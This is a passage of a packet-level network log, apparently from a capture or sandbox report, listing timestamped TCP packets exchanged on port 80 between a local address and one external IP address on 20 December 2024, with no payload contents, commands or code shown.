Dec 20, 2024 17:17:50.950328112 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.950354099 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.950948000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.950958967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.950968981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.950978994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.950989962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.950994015 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.951023102 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.024408102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.024461031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.024475098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.024517059 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.024679899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.024692059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.024703979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.024714947 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.024735928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.024760962 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.025207996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.025222063 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.025233984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.025259972 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.025290012 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.025551081 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.025563955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.025602102 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.025768042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.025780916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.025790930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.025803089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.025815010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.025826931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.025837898 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.025867939 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.026458979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.026501894 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.026515007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.026525021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.026536942 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.026582003 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.027004004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.027024031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.027035952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.027048111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.027060032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.027067900 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.027070999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.027096033 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.027187109 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.062114000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.062222958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.062235117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.062263966 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.062488079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.062506914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.062519073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.062530041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.062541962 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.062962055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.062973976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.062983990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.062997103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.063008070 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.063008070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.063045025 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.063416004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.063627005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.063638926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.063649893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.063663960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.063672066 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.063676119 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.063687086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.063699007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.063705921 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.063741922 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.064446926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.064515114 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.064527988 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.064538002 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.064564943 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.064568996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.064591885 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.065045118 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.065056086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.065068007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.065078974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.065079927 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.065090895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.065098047 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.065124035 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.065757990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.065772057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.065783978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.065794945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.065807104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.065818071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.065840960 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.065864086 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.066668987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.066683054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.066694975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.066705942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.066718102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.066718102 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.066730022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.066734076 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.066767931 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.067078114 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.067158937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.067169905 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.067179918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.067190886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.067203999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.067203999 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.067235947 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.068002939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068016052 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068026066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068038940 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068049908 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.068052053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068063974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068075895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068078995 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.068093061 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.068830967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068845034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068855047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068866014 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068876028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068881035 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.068886995 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068898916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.068913937 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.068931103 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.141345024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.141365051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.141375065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.141398907 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.141438961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.141489029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.141500950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.141511917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.141521931 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.141550064 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.141974926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.141992092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.141999960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.142005920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.142013073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.142019033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.142035007 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.142066956 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.142694950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.142705917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.142716885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.142735958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.142746925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.142750025 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.142791033 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.143249989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.143261909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.143274069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.143284082 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.143297911 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.143326998 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.242311001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.242362022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.242374897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.242404938 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.242496014 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.242508888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.242578983 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.242737055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.242748976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.242769003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.242773056 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.242779970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.242793083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.242831945 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.242851019 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.243385077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.243396997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.243408918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.243452072 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.243729115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.243750095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.243762970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.243774891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.243829966 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.244225979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.244288921 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.244303942 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.244326115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.244338989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.244350910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.244364023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.244375944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.244404078 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.244432926 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.245003939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.245085001 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.245127916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.245146036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.245182991 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.245388031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.245400906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.245455027 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.280026913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280096054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280108929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280134916 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.280306101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280322075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280333996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280345917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280380011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.280760050 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280786991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280808926 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.280950069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280961037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280972004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.280997038 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.281032085 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.281351089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.281363010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.281377077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.281438112 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.281677008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.281688929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.281702042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.281729937 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.281763077 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.282078981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282092094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282104015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282114983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282126904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282140017 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.282174110 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.282895088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282910109 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282922029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282934904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282948017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282958984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282967091 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.282973051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.282996893 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.283016920 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.283581018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.283593893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.283605099 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.283617973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.283627987 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.283628941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.283642054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.283654928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.283678055 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.284383059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.284396887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.284408092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.284420967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.284435987 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.284460068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.284863949 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.284876108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.284893036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.284904957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.284915924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.284928083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.284933090 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.284950018 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.284965992 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.285567999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.285626888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.285639048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.285650015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.285667896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.285679102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.285685062 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.285726070 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.286283970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.286305904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.286359072 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.286365032 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.286374092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.286422014 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.286758900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.286771059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.286783934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.286797047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.286809921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.286813974 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.286822081 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.286834955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.286844015 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.286866903 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.333064079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.333142042 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.333161116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.333174944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.333226919 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.333416939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.333430052 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.333442926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.333491087 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.333781004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.333827972 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.333837032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.333985090 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.333997011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.334009886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.334054947 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.334431887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.334445000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.334456921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.334469080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.334481001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.334494114 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.334511042 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.334547997 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.335160971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.335174084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.335185051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.335197926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.335232973 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.335262060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.434355021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.434438944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.434448957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.434472084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.434499025 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.434540033 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.434556961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.434598923 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.434606075 CET	80	49809	185.215.113.16	192.168.2.6
